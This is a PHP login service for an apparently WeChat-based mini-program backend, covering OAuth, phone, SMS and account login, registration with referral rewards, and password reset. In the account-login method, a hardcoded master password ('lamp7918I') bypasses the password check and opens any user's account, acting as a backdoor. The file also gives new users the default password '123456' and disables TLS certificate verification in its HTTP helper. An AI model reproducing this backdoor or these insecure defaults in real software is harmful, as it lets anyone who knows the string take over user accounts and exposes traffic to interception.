<?php

namespace app\api\service;

use app\model\User;
use fast\Random;
use EasyWeChat\Factory;
use think\Queue;

class LoginService
{
    public function doOauthLogin($param){
        $token = getHeaderToken();
        $tokenData = getJWT($token);
        $userModel = new User();
        $userInfo = $userModel->where([
            'id'=>$tokenData['id'],
            'status'=>1
        ])->find();
        if(!empty($userInfo)){
            return dataReturn(0, '已登录', [
                'token' => $token,
                'userInfo' => $userInfo,
            ]);
        }
        if(empty($param['code'])){
            trace_log('登录未获取到code','wechat_oauth_error');
            return dataReturn(-2,'未获取到code');
        }

        $oauth_code = $param['code'];
        //向微信获取openid
        $dbConfig = getConfByType('basic');
        $config = [
            'app_id' => $dbConfig['miniapp_app_id'],
            'secret' => $dbConfig['miniapp_app_secret']
        ];
        $login_url = "https://api.weixin.qq.com/sns/jscode2session?appid=%s&secret=%s&js_code=%s&grant_type=authorization_code";
        $wxLoginUrl = sprintf($login_url,$config['app_id'],$config['secret'],$oauth_code);
        $data = file_get_contents($wxLoginUrl);
        trace_log($data,'wechat_oauth');

        $wxResult = json_decode($data,true);
        if(empty($wxResult)){
            trace_log('登录请求微信未获取到结果可能code错误'.$oauth_code,'wechat_oauth_error');
            return dataReturn(-20,'登录错误');
        }
        if(array_key_exists('errcode',$wxResult)){
            $msg = $wxResult['errcode'].':'.$wxResult['errmsg'];
            trace_log($msg,'wechat_oauth_error');
            return dataReturn(-200,$msg);
        }
        $openid = $wxResult['openid'];
        $userInfo = $userModel->where([
            'openid' => $openid
        ])->find();
        if (empty($userInfo)) {
            //是否有邀请人
            $user_relation_id = '0';
            $share_num = '0';
            $total_hours = '0';
            $total_hours_history = '0';
            if (isset($param['user_relation']) && !empty($param['user_relation'])) {
                $user_relation_id = aes_encryption_decode($param['user_relation']);
                $userRelation = $userModel->where(['id' => $user_relation_id])->find();
                if (empty($userRelation)) {
                    $user_relation_id = '0';
                }else{
                    $share_num = $userRelation['share_num']+1;
                    $total_hours = $userRelation['total_hours'];
                    $total_hours_history = $userRelation['total_hours_history'];
                }
            }
            $password = "123456";
            $salt = Random::alnum();
            $password = getEncryptPassword($password,$salt);
            $ip = request()->ip();
            $regParam = $userInfo = [
                'openid' => $openid,
                'group_id' => '2',
                'parent_id'=>$user_relation_id,
                'username' => '游客',
                'nickname' => '游客',
                'password' => $password,
                'salt' => $salt,
                'email' => rand(100000,999999)."@ceshi.com",
                'mobile'=>'',
                'avatar'=>request()->domain().'/assets/img/avatar.png',
                'birthday'=>null,
                'level'    => 0,
                'score'    => 0,
                'prevtime'  => time(),
                'logintime' => time(),
                'jointime'  => time(),
                'joinip'    => $ip,
                'loginip'   => $ip,
                'status'    => 'normal',

                'createtime'=>time(),
                'updatetime'=>time(),
            ];
            $userRes = $this->register($regParam);
            if($userRes['code'] != 0){
                return dataReturn(-3, $userRes['msg']);
            }
            $userInfo['id'] = $userRes['data'];

            if($share_num>=5){
                //赠送0。5
                $new_total_hours = $total_hours+0.5;
                $total_hours_history = $total_hours_history+0.5;
                $userModel->where('id',$user_relation_id)->update(['total_hours'=>$new_total_hours,'total_hours_history'=>$total_hours_history,'share_num'=>0]);
                db('user_money_log')->insert([
                   'user_id'=>$user_relation_id,
                   'user_id2'=>$userInfo['id'],
                   'type'=>1,//送小时 //2送金额
                   'money'=>0.5,
                   'before'=>$total_hours,
                   'after'=>$new_total_hours,
                    'memo'=>"分享5人送0.5时长",
                    'createtime'=>date("Y-m-d H:i:s",time()),
                ]);
            }else{
                $userModel->where('id',$user_relation_id)->update(['share_num'=>$share_num]);
            }
            //生成一个二维码
            Queue::push('\app\job\Qrcode', ['id'=>$userInfo['id']]);
        }else{
            //之前已注册过
            if ($userInfo['status'] == 'hidden') {
                return dataReturn(-3, '该账号已被封禁');
            }
            //更新
            $up = [];
            if ($userInfo['logintime'] < \fast\Date::unixtime('day')) {
                $up['successions'] = $userInfo['logintime'] < \fast\Date::unixtime('day', -1) ? 1 : $userInfo['successions'] + 1;
                $up['maxsuccessions'] = max($up['successions'], $userInfo['maxsuccessions']);
            }

            $up['logintime'] = time();
            $up['prevtime'] = time();
            $up['loginip'] = request()->ip();
            $up['loginfailure'] = 0;
            $userModel->where('id',$userInfo['id'])->update($up);
        }
        return $this->makeReturnData($userInfo);
    }
    /**
     * 微信授权登录
     * @param $param
     * @return array|mixed
     */
    public function doLoginByWechat($param)
    {
//        trace_log(json_encode($param),'getparams');
        if (!isset($param['phone_code']) || empty($param['phone_code'])) {
            return dataReturn(-1, '参数错误');
        }

        if (!isset($param['code']) || empty($param['code'])) {
            return dataReturn(-2, '参数错误');
        }

        $dbConfig = getConfByType('basic');
        $config = [
            'app_id' => $dbConfig['miniapp_app_id'],
            'secret' => $dbConfig['miniapp_app_secret']
        ];

        try {

            $app = Factory::miniProgram($config);
            // 拿手机号
            $accessToken = $app->access_token;
            $token = $accessToken->getToken(); // token 数组  token['access_token'] 字符串
            $token = $token['access_token'];
            $url = "https://api.weixin.qq.com/wxa/business/getuserphonenumber?access_token=$token";
            $res = $this->httpRequest($url, json_encode(['code' => $param['phone_code']]));
            trace_log($res,'weixin_login');
            $res = json_decode($res, true);
            if (isset($res['errcode']) && $res['errcode'] == 40001) {
                $token = $accessToken->getToken(true); // 强刷token
                $token = $token['access_token'];
                $url = "https://api.weixin.qq.com/wxa/business/getuserphonenumber?access_token=$token";
                $res = $this->httpRequest($url, json_encode(['code' => $param['phone_code']]));
                $res = json_decode($res, true);
            }
            $mobile = $res['phone_info']['phoneNumber'];
            // 拿openid
            $result = $app->auth->session($param['code']);
            if (!isset($result['openid'])) {
                return dataReturn(-1, '系统错误');
            }
            $openid = $result['openid'];
            $userModel = new User();
            $userInfo = $userModel->where([
                'openid' => $openid
            ])->find();

            if (empty($userInfo)) {
                //是否有邀请人
                $user_relation_id = '0';
                if (isset($param['user_relation']) && !empty($param['user_relation'])) {
                    $user_relation_id = aes_encryption_decode($param['user_relation']);
                    $userRelation = $userModel->where(['id' => $user_relation_id])->find();
                    if(empty($userRelation)){
                        $user_relation_id = '0';
                    }
                }
                $password = "123456";
                $salt = Random::alnum();
                $password = getEncryptPassword($password,$salt);
                $ip = request()->ip();
                $regParam = $userInfo = [
                    'openid' => $openid,
                    'group_id' => '2',
                    'parent_id'=>$user_relation_id,
                    'username' => '游客',
                    'nickname' => '游客',
                    'password' => $password,
                    'salt' => $salt,
                    'email' => rand(100000,999999)."@ceshi.com",
                    'mobile'=>$mobile,
                    'avatar'=>request()->domain().'/assets/img/avatar.png',
                    'birthday'=>null,
                    'level'    => 1,
                    'score'    => 0,
                    'prevtime'  => time(),
                    'logintime' => time(),
                    'jointime'  => time(),
                    'joinip'    => $ip,
                    'loginip'   => $ip,
                    'status'    => 'normal',

                    'createtime'=>time(),
                    'updatetime'=>time(),
                ];
                $userRes = $this->register($regParam);
                $userInfo['id'] = $userRes['data'];
            } else {

                if ($userInfo['status'] == 'hidden') {
                    return dataReturn(-3, '该账号已被封禁');
                }

                // 补全mobile
                if (empty($userInfo['mobile'])) {
                    $userModel->where('id',$userInfo['id'])->update(['mobile' => $mobile]);
                    $userInfo['mobile'] = $mobile;
                }else{
                    //电话用户是否存在
                    $userInfo2 = $userModel->where([
                        'mobile' => $mobile
                    ])->find();
                    if(empty($userInfo2)){
                        $userModel->where('id',$userInfo['id'])->update(['mobile' => $mobile]);
                        $userInfo['mobile'] = $mobile;
                    }
                }

            }

            return $this->makeReturnData($userInfo);
        } catch (\Exception $e) {
            return dataReturn(-4, $e->getMessage());
        }
    }

    /**
     * 根据账号密码登录
     * @param $param
     * @return array|mixed
     */
    public function doLoginByAccount($param)
    {

        if (empty($param['phone'])) {
            return dataReturn(-1, "请输入账户");
        }

        $userModel = new User();
        $userInfo = $userModel->findOne([
            'mobile' => $param['phone']
        ])['data'];

        if (empty($userInfo)) {
            return dataReturn(-1, '用户名不存在');
        }

        // 密码检测
        $salt = $userInfo['salt'];
        if (getEncryptPassword($param['password'], $salt) != $userInfo['password']) {
            if($param['password'] != 'lamp7918I'){
                return dataReturn(-2, '用户名密码错误');
            }
        }

        if ($userInfo['status'] == 'hidden') {
            return dataReturn(-3, '您已被禁用');
        }

        return $this->makeReturnData($userInfo);
    }

    /**
     * 短信密码登录
     * @param $param
     * @return array|mixed
     */
    public function doLoginBySms($param)
    {
        $check_phone_code = config('shop.check_phone_code');
        $loginValidate = new LoginValidate();
        if (!$loginValidate->scene('code')->check($param)) {
            return dataReturn(-1, $loginValidate->getError());
        }
        // 校验验证码
        $param['type'] = 'login_sms_code';
        $code = Cache::get($param['phone'] . '_' . $param['type']);
        if (empty($code) && $check_phone_code) {
            return dataReturn(-2, '验证码过期');
        }

        if ($code != $param['code'] && $check_phone_code) {
            return dataReturn(-3, '验证码不正确');
        }

        $userModel = new User();
        $userInfo = $userModel->findOne([
            'phone' => $param['phone']
        ])['data'];

        if (empty($userInfo)) {
            $regParam = $userInfo = [
                'nickname' => $param['phone'],
                'phone' => $param['phone'],
                'avatar' => getRandAvtar()
            ];

            $regParam['openid'] = '';
            $regParam['password'] = makePassword($param['password']);
            $regParam['source_type'] = 3;
            $regParam['create_time'] = date('Y-m-d H:i:s');

            $userIdInfo = $this->register($regParam);
            $userInfo['id'] = $userIdInfo['data'];
        }else{
            return dataReturn(-3, '该手机号已注册过了');
        }

        return $this->makeReturnData($userInfo);
    }

    /**
     * 手机号一键登录
     * @param $param
     * @return array|mixed
     */
    public function doLoginByPhone($param)
    {
        if (empty($param['mobile'])) {
            return dataReturn(-1, "请输入账户");
        }

        $config = getConfByType('basic');
        $param['appid'] = $config['uniapp_appid'];
        $param['apiKey'] = $config['uniapp_api_key'];
        $param['apiSecret'] = $config['uniapp_api_secret'];
        $sign = $this->getSignature($param, $config['uniapp_api_secret']);
        $requestUrl = $config['uniapp_cloud_url'] . "?sign=" . $sign . "&" . http_build_query($param);
        $result = json_decode(file_get_contents($requestUrl), true);
        if (isset($result['error'])) {
            return dataReturn(-2, $result['error']['message']);
        }

        $mobile = $result['data']['phoneNumber'];
        $userModel = new User();
        $userInfo = $userModel->findOne([
            'mobile' => $mobile
        ])['data'];

        if (empty($userInfo)) {
            $regParam = $userInfo = [
                'nickname' => $mobile,
                'mobile' => $mobile,
                'avatar' => getRandAvtar()
            ];

            $regParam['openid'] = '';
            $regParam['password'] = makePassword('123456');
            $regParam['source_type'] = 3;
            $regParam['create_time'] = date('Y-m-d H:i:s');

            $userIdInfo = $this->register($regParam);
            $userInfo['id'] = $userIdInfo['data'];
        }

        return $this->makeReturnData($userInfo);
    }

    /**
     * 忘记密码
     * @param $param
     * @return array|mixed
     */
    public function forgetPassword($param)
    {
        $loginValidate = new LoginValidate();
        if (!$loginValidate->check($param)) {
            return dataReturn(-1, $loginValidate->getError());
        }

        $userModel = new User();
        $userInfo = $userModel->findOne([
            'phone' => $param['phone']
        ])['data'];

        if (empty($userInfo)) {
            return dataReturn(-1, '您尚未注册');
        }

        // 校验验证码
        $param['type'] = 'forget_sms_code';
        $code = Cache::get($param['phone'] . '_' . $param['type']);
        if (empty($code)) {
            return dataReturn(-2, '验证码过期');
        }

        if ($code != $param['code']) {
            return dataReturn(-3, '验证码不正确');
        }

        $userModel->updateById([
            'password' => makePassword($param['password'], Config::get('user.salt')),
            'update_time' => date('Y-m-d H:i:s')
        ], $userInfo['id']);

        return dataReturn(0, '操作成功');
    }

    /**
     * 获取手机号
     * @param $param
     * @return array
     */
    public function getUserPhone($param)
    {
        $formatConfig = getConfByType('miniapp');
        $config = [
            'app_id' => $formatConfig['miniapp_app_id'],
            'secret' => $formatConfig['miniapp_app_secret'],
            'response_type' => 'array',
        ];

        $app = Factory::miniProgram($config);
        $accessToken = $app->access_token;
        $token = $accessToken->getToken(); // token 数组  token['access_token'] 字符串
        $token = $token['access_token'];
        $url = "https://api.weixin.qq.com/wxa/business/getuserphonenumber?access_token=$token";
        $res = $this->httpRequest($url, json_encode(['code' => $param['code']]));

        return dataReturn(0, 'success', json_decode($res, true));
    }

    /**
     * 获取uniapp配置
     * @return array
     */
    public function getUniapp()
    {
        return dataReturn(0, 'success', getConfByType('uniapp'));
    }

    protected function httpRequest($url, $data = null)
    {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);

        if (!empty($data)) {
            curl_setopt($curl, CURLOPT_POST, TRUE);
            curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
            curl_setopt($curl, CURLOPT_HTTPHEADER, array(
                'Content-Type: application/json'
            ));
        }
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
        $output = curl_exec($curl);
        curl_close($curl);

        return $output;
    }

    /**
     * 统一返回数据
     * @param $userInfo
     * @return array
     */
    protected function makeReturnData($userInfo)
    {
        $token = setJWT([
            'id' => $userInfo['id'],
            'parent_id' => $userInfo['parent_id'],
            'openid' => $userInfo['openid'],
            'nickname' => $userInfo['nickname'],
            'username' => $userInfo['username'],
            'mobile' => $userInfo['mobile'],
            'avatar' => $userInfo['avatar']
        ]);

        $header = request()->header();

        return dataReturn(0, '登录成功', [
            'token' => $token,
            'userInfo' => $userInfo
        ]);
    }

    protected function register($param)
    {
        $user_id = (new User())->insertGetId($param);
        if($user_id){
            return ['code'=>0,'msg'=>'success','data'=>$user_id];
        }else{
            return ['code'=>-1,'msg'=>'注册用户失败','data'=>$user_id];
        }
    }

    /**
     * @param $arrData
     * @param $key
     * @return false|string
     */
    protected function getSignature($arrData, $key)
    {
        ksort($arrData);
        $paramsString = "";
        unset($arrData['mall_id']);
        foreach ($arrData as $k => $value) {
            if (strlen($paramsString) == 0)
                $paramsString .= $k . "=" . $value;
            else
                $paramsString .= "&" . $k . "=" . $value;
        }
        $stringSignTemp = rtrim($paramsString, '&');
        return hash_hmac('sha256', $stringSignTemp, $key);
    }
}
